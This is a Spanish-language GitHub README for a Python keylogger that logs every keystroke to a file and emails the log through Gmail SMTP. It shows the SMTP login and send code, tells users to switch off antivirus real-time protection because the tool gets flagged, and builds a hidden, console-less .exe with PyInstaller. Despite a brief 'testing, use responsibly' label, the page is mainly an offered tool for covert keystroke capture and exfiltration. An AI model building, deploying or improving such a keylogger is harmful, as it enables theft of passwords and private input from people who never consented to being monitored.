Skip to content

Este es un keylogger de prueba desarrollado en Python, capaz de registrar las teclas presionadas por el usuario. Además, puede enviar los datos capturados a un correo electrónico automáticamente. Ideal para pruebas de seguridad y análisis de entrada de datos. ⚠️ Usar con responsabilidad.

Notifications You must be signed in to change notification settings

SwodLore/keylogger_with_mail

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

16 Commits
 
 
 
 
 
 

Repository files navigation

🖥️ KeyLogger en Python

Este es un KeyLogger desarrollado en Python que registra las teclas presionadas y las guarda en un archivo log.txt. Además, permite enviar el registro por correo electrónico presionando F11 y cerrar el programa con la tecla ESC.

📌 Instalación de Dependencias en Python

Antes de ejecutar el keylogger, asegúrate de instalar las bibliotecas necesarias.

📌 Requisitos

🔹 Python 3.x instalado en tu sistema. 🔹 Conexión a Internet para descargar las dependencias.

🚀 Instalación de Dependencias

1️⃣ Instalar pynput para Captura de Teclado

El módulo pynput permite registrar las teclas presionadas en el sistema. Instálalo con:

pip install pynput

2️⃣ Instalar smtplib y email para Envío de Correos

El módulo smtplib ya está incluido en Python, pero email se usa para estructurar los mensajes de correo. Se recomienda actualizar email con:

pip install secure-smtplib

3️⃣ Verificar Instalación

Después de instalar las dependencias, verifica que se hayan instalado correctamente ejecutando:

✉️ Configuración del Correo

Abre el archivo y reemplaza los siguientes valores con tu información:

Como configurar el email para que puedas enviar correos: Link de Youtube[https://www.youtube.com/shorts/Tuyai2xNwvE]

mensaje["From"] = "tucorreo@gmail.com"
mensaje["To"] = "destinatario@gmail.com"
server.login("tucorreo@gmail.com", "tu_contraseña")
server.sendmail("tucorreo@gmail.com", "destinatario@gmail.com", mensaje.as_string().encode('utf-8'))

🔹 Usa una contraseña de aplicación en lugar de tu contraseña real para mayor seguridad.

🖥️ KeyLogger en Python

Este es un KeyLogger desarrollado en Python que registra las teclas presionadas y las guarda en un archivo log.txt. Además, permite enviar el registro por correo electrónico presionando F11 y cerrar el programa con la tecla ESC.


🚀 1️⃣ Inicio del KeyLogger

Para ejecutar el KeyLogger, abre la terminal y ejecuta:

python KeyLogger_Mail.py

Al iniciarse, mostrará el siguiente mensaje en la terminal:

(+) Se inició el KeyLogger

Inicio del KeyLogger


⏹️ 2️⃣ Cerrar el KeyLogger

Para detener la ejecución, simplemente presiona la tecla ESC. Esto cerrará el programa inmediatamente.

Cerrar KeyLogger con ESC


📩 3️⃣ Enviar el registro por correo

Si presionas la tecla F11, el KeyLogger enviará el archivo log.txt a través de un correo electrónico.

Correo recibido con log.txt


Correo recibido con log.txt

🛠️ Crear un Archivo Ejecutable (.exe) con PyInstaller

Para convertir el script en un archivo ejecutable .exe, es necesario utilizar pyinstaller. Antes de proceder, desactiva tu antivirus, ya que podría detectar el keylogger como una amenaza y eliminarlo.

🔹 Instalar pyinstaller

pip install pyinstaller

🚨 Desactivar Antivirus

🔹 Desactiva temporalmente la protección en tiempo real de tu antivirus antes de ejecutar el siguiente comando puede saltar un error asi.

Desactivar Antivirus

🔹 Generar el Archivo .exe

Ejecuta el siguiente comando en la terminal dentro de la carpeta donde se encuentra KeyLogger_Mail.py:

pyinstaller --onefile --noconsole keylogger.py

About

Este es un keylogger de prueba desarrollado en Python, capaz de registrar las teclas presionadas por el usuario. Además, puede enviar los datos capturados a un correo electrónico automáticamente. Ideal para pruebas de seguridad y análisis de entrada de datos. ⚠️ Usar con responsabilidad.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages